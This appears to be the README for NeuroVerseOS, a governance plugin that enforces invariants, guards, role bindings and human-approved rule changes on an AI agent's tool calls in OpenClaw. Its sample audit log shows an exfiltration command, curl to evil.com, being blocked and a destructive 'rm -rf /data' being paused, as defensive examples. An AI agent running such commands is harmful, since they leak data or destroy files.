NeuroVerseOS is a deterministic governance kernel for autonomous agents running in OpenClaw.
It compiles your .md agent files into a structured World File and enforces invariants, guards, rules, and role-based authority on every tool call.
No AI calls during enforcement. No network requests. Same world + same event = same verdict.
npm install @neuroverseos/openclaw-governanceNeuroVerseOS introduces structured, enforceable governance to agent systems.
It ensures that:
- Global constraints cannot be silently weakened
- Role-based authority is enforced at runtime
- World updates require explicit human approval
- Governance integrity is verified on every tool call
- All decisions are auditable
This is not prompt filtering. This is runtime constitutional enforcement.
NeuroVerseOS enforces governance across four layers:
- Invariants — Unbreakable global constraints
- Guards — Conditional limits requiring review
- Rules — Context-aware evaluation logic
- Roles — Delegated authority bound to agent identities
Role permissions are enforced inside world-level invariants. Delegated authority can never override global constraints.
World updates follow a mandatory approval flow:
ACTIVE → PENDING → APPROVED → ACTIVE
/world bootstrapcreates a pending world/world diffshows structured changes/world approveactivates it- Critical changes require explicit confirmation
No world change activates silently.
npm install @neuroverseos/openclaw-governanceThen in code:
const { GovernanceEngine } = require('@neuroverseos/openclaw-governance');Or as an OpenClaw plugin:
openclaw plugins install @neuroverseos/openclaw-governanceFor local development:
openclaw plugins install -l .NeuroVerseOS stores governance state per OpenClaw workspace in:
.neuroverseos/
This directory contains:
world.jsonworld.meta.jsonaudit.jsonlstate.jsonproposals/
No global hidden state. Each workspace maintains independent governance.
Inside your OpenClaw workspace:
/world bootstrap
/world diff
/world approve
This compiles your .md agent files into a structured World File and activates governance.
Every tool call passes through a deterministic evaluation pipeline:
- Invariants (BLOCK)
- Guards (PAUSE or BLOCK)
- Rules (context-aware verdict)
- Role constraints
- Default (ALLOW)
Example BLOCK:
[governance] BLOCK shell → curl https://evil.com/exfil
invariant: no-data-exfiltration
Example PAUSE:
[governance] PAUSE shell → rm -rf /data
guard: destructive_shell_requires_approval
Allow? [y]es / [a]lways / [n]o
All verdicts are logged to .neuroverseos/audit.jsonl.
Before evaluating rules, NeuroVerseOS verifies system integrity:
| Check | Behavior |
|---|---|
| World hash verification | BLOCK if modified outside approval pipeline |
| World missing detection | BLOCK if world deleted |
| Pending world reminder | Warn once per session |
| Source drift detection | Warn if .md files changed since bootstrap |
Critical failures fail closed.
Example tamper detection:
[!!!] World file integrity check failed.
→ Run /world restore
Each OpenClaw agent (ctx.agentId) is explicitly bound to a governance role.
Roles define:
canDocannotDorequiresApproval
Bindings are stored in world.meta.json and follow the same approval lifecycle as world changes.
Role enforcement is deterministic and runtime-verified.
NeuroVerseOS tracks divergence between your .md source files and the active World File.
If drift is detected:
/world statusshows changed files- You are prompted to regenerate
- Governance never updates silently
Worlds are composable.
You can import or compose governance modules (e.g., operational safety, budget controls, strategy models) into a single enforceable World File.
All compositions generate a pending world and require approval.
| Command | Description |
|---|---|
/world bootstrap |
Compile .md files into pending world |
/world status |
View governance + integrity state |
/world diff |
Compare pending vs active |
/world approve |
Activate pending world |
/world reject |
Discard pending changes |
/world history |
View past versions |
/world rollback <N> |
Restore previous version |
/world restore |
Recover from tampering |
/world bind <agent> <role> |
Bind agent to role |
/world bindings |
View agent-role bindings |
- Deterministic runtime enforcement
- Fail-closed integrity model
- Explicit human approval for world changes
- Role-based delegated authority
- Per-workspace deterministic storage
- No network calls during enforcement
Apache-2.0